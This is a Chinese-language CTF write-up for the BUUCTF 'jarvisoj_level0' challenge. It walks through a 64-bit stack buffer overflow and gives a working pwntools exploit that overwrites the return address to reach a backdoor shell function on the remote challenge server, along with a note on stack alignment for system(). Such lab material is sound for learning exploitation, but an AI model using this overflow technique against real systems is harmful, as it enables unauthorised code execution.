BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
lubiii_1 天前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
Suckerbin2 天前
TBBT: FunWithFlags靶场渗透
笔记·安全·web安全·网络安全
jieyu11192 天前
反序列化漏洞详解
网络安全·漏洞原理
Codingwiz_Joy2 天前
Day43 PHP(mysql不同注入类型、mysql不同注入点、mysql传输不同数据类型 )
网络安全·php·安全性测试
独行soc2 天前
2025年渗透测试面试题总结-67(题目+回答)
网络·python·安全·web安全·网络安全·adb·渗透测试
emma羊羊2 天前
【SQL注入】延时盲注
数据库·sql·网络安全
儒道易行2 天前
【攻防实战】记一次攻防实战全流程
网络安全
王火火(DDoS CC防护)3 天前
网站漏洞扫描要怎么处理?
web安全·网络安全
wzx_Eleven3 天前
【论文阅读】Towards Privacy-Enhanced and Robust Clustered Federated Learning
论文阅读·人工智能·算法·机器学习·支持向量机·网络安全
lingggggaaaa4 天前
小迪安全v2023学习笔记(八十一讲)—— 框架安全&ThinkPHP&Laravel&Struts2&SpringBoot&CVE复现
笔记·学习·struts·安全·网络安全·laravel